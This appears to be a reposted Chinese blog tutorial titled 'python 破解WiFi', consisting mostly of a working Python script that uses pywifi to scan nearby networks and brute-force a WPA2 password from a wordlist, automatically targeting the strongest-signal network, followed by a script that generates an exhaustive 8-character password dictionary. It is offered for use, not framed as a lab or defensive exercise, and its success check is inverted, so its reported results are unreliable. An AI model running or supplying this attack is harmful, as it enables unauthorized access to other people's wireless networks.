admin管理员组文章数量:1574959
原理:
1.获取WiFi网卡
2.扫描WiFi列表
3.根据密码本尝试连接WiFi
代码:
import pywifi
import time
from pywifi import const
#获取WiFi网卡
def get_card():
wifi = pywifi.PyWiFi()
card = wifi.interfaces()[0]
card.disconnect()
time.sleep(1)
status = card.status()
if status not in [const.IFACE_DISCONNECTED,const.IFACE_INACTIVE]:
print('网卡处于断开状态')
return False
return card
#扫描WiFi列表
def scan_wifi(card):
print('开始扫描附近WiFi.......')
card.scan()
time.sleep(3)
wifi_list = card.scan_results()
print('数量:',len(wifi_list))
# 存放wifi名的集合
wifi_name_set = set()
for w in wifi_list:
# 解决乱码问题
wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
wifi_name_set.add(wifi_name_and_signal)
# 存入列表并按信号排序
wifi_name_list = list(wifi_name_set)
wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
num = 0
# 格式化输出
while num < len(wifi_name_list):
print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
num += 1
print('-' * 38)
return wifi_list
#破解指定WiFi密码
def crack_wifi(wifi_ssid,card):
file_path='file\wps.txt'
with open(file_path,'r') as password_file:
for pwd in password_file:
pwd = pwd.strip()
if connect_to_wifi(pwd,wifi_ssid,card):
print('密码正确',pwd)
else:
print('密码错误',pwd)
return None
#连接WiFi状态
def connect_to_wifi(pwd,wifi_ssid,card):
profile = pywifi.Profile()
profile.ssid = wifi_ssid
profile.key = pwd
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
card.remove_all_network_profiles()
tep_profile = card.add_network_profile(profile)
card.connect(tep_profile)
time.sleep(2)
if card.status() == const.IFACE_CONNECTED:
is_connected = True
else:
is_connected = False
return is_connected
card = get_card()
if not card:
print('网卡关闭失败')
else:
wifi_list = scan_wifi(card)
if not wifi_list:
print('没有发现附近WiFi')
else:
#target_wifi_index = int(input('请选择要破解的WiFi序号:'))-1
target_wifi_index = 0
target_wifi_ssid = wifi_list[target_wifi_index].ssid
print('开始破解', target_wifi_ssid)
result = crack_wifi(target_wifi_ssid,card)
if result:
print('破解失败')
else:
print('破解成功')
密码本:只有两个密码用于测试
如果想要全部密码可以使用次代码生成:但是数据量太大(据说是100G左右)不推荐使用
import itertools as its
import datetime
# 记录程序运行时间
start = datetime.datetime.now()
words = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM' # 大小写字母 + 数字 组合
# words = '0123456789' # 纯数字
# 生成密码的位数
r = its.product(words, repeat=8) # 即生成8位密码,正常情况下热点密码位数为8
dic = open(r"C:\Users\Administrator\Desktop\alphabetPass.txt", 'a') # alphabetPass.txt 是密码本名称
for i in r:
dic.write(''.join(i))
dic.write(''.join('\n'))
print(i)
dic.close()
print('密码本生成好了')
end = datetime.datetime.now()
print("生成密码本一共用了多长时间:{}".format(end - start))
版权声明:本文标题:python 破解WiFi 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://www.elefans.com/xitong/1727779681a1129188.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论